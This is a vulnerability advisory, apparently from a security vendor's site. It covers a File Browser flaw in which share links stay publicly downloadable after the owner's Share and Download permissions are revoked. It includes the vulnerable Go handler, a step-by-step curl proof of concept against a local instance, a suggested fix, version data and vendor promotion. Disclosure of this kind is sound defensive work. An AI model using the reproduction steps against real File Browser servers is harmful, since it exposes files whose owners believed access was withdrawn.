GHSA-v9w4-gm2x-6rvf
GHSA-v9w4-gm2x-6rvf is a CWE-863 vulnerability in github.com/filebrowser/filebrowser/v2. O3 Security confirms whether GHSA-v9w4-gm2x-6rvf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
File Browser share links remain accessible after Share/Download permissions are revoked
Blast Radius
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).
Details
Share creation (http/share.go:21-29) correctly checks permissions:
func withPermShare(fn handleFunc) handleFunc {
return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
if !d.user.Perm.Share || !d.user.Perm.Download {
return http.StatusForbidden, nil
}
return fn(w, r, d)
})
}
But share access (http/public.go:18-87, withHashFile) does not:
var withHashFile = func(fn handleFunc) handleFunc {
return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
link, err := d.store.Share.GetByHash(id) // line 21: checks share exists
authenticateShareRequest(r, link) // line 26: checks password
user, err := d.store.Users.Get(...) // line 31: checks user exists
d.user = user // line 36: sets user
file, err := files.NewFileInfo(...) // line 38: gets file
// MISSING: no check for d.user.Perm.Share or d.user.Perm.Download
}
}
Proof of Concept (runtime-verified)
# Step 1: Login as admin
TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"<admin-password>"}')
# Step 2: Create testuser with Share+Download permissions
curl -X POST http://localhost:18080/api/users \
-H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
-d '{"what":"user","which":[],"current_password":"<admin-password>",
"data":{"username":"testuser","password":"TestPass123!","scope":".",
"perm":{"share":true,"download":true,"create":true}}}'
# Step 3: Login as testuser and create share
USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \
-H "Content-Type: application/json" \
-d '{"username":"testuser","password":"TestPass123!"}')
curl -X POST http://localhost:18080/api/share/secret.txt \
-H "X-Auth: $USER_TOKEN" -H "Content-Type: application/json" -d '{}'
# Returns: {"hash":"fB4Qwtsn","path":"/secret.txt","userID":2,"expire":0}
# Step 4: Verify share works (unauthenticated)
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK)
# Step 5: Admin revokes testuser's Share and Download permissions
curl -X PUT http://localhost:18080/api/users/2 \
-H "X-Auth: $TOKEN" -H "Content-Type: application/json" \
-d '{"what":"user","which":["all"],"current_password":"<admin-password>",
"data":{"id":2,"username":"testuser","scope":".",
"perm":{"share":false,"download":false,"create":true}}}'
# Step 6: Verify testuser CANNOT create new shares
curl -X POST http://localhost:18080/api/share/secret.txt \
-H "X-Auth: $USER_TOKEN" -d '{}'
# Returns: 403 Forbidden (correct)
# Step 7: THE BUG - old share STILL works
curl http://localhost:18080/api/public/dl/fB4Qwtsn
# Returns: file content (200 OK) - SHOULD be 403
Impact
When an admin revokes a user's Share or Download permissions:
- New share creation is correctly blocked (403)
- But all existing shares created by that user remain fully accessible to unauthenticated users
- The admin has a false sense of security: they believe revoking Share permission stops all sharing
This is the same vulnerability class as GHSA-68j5-4m99-w9w9 ("Authorization Policy Bypass in Public Share Download Flow").
Suggested Fix
Add permission re-validation in withHashFile:
user, err := d.store.Users.Get(d.server.Root, link.UserID)
if err != nil {
return errToStatus(err), err
}
// Verify the share owner still has Share and Download permissions
if !user.Perm.Share || !user.Perm.Download {
return http.StatusForbidden, nil
}
d.user = user
Update: Fix submitted as PR #5888.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.63.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.63.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v9w4-gm2x-6rvf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v9w4-gm2x-6rvf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v9w4-gm2x-6rvf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v9w4-gm2x-6rvf in your dependencies?
O3 detects GHSA-v9w4-gm2x-6rvf across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.